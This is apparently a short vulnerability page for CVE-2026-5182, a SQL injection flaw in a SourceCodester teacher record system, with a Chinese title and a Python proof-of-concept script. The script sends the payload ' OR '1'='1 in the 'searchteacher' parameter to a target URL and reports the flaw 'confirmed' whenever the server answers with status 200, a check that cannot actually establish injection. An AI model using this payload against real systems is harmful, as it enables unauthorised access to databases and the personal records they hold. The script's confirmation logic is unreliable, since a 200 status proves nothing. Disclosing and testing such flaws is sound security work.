CVE-2026-5182 SourceCodester教师记录系统SQL注入漏洞

import requests def verify_sqli(target_url): # Vulnerable parameter identified in the description params = { "searchteacher": "' OR '1'='1" # Basic PoC payload to test injection } try: # Sending the malicious request response = requests.get(target_url, params=params, timeout=10) # Analyzing response to confirm vulnerability # In a real scenario, check for specific database errors or data leakage if response.status_code == 200: print("[+] Potential SQL Injection vulnerability confirmed!") print(f"[+] Response Length: {len(response.text)}") else: print("[-] Target may not be vulnerable or is down.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") # Example usage # verify_sqli("http://target-ip/Teacher_Record_System/")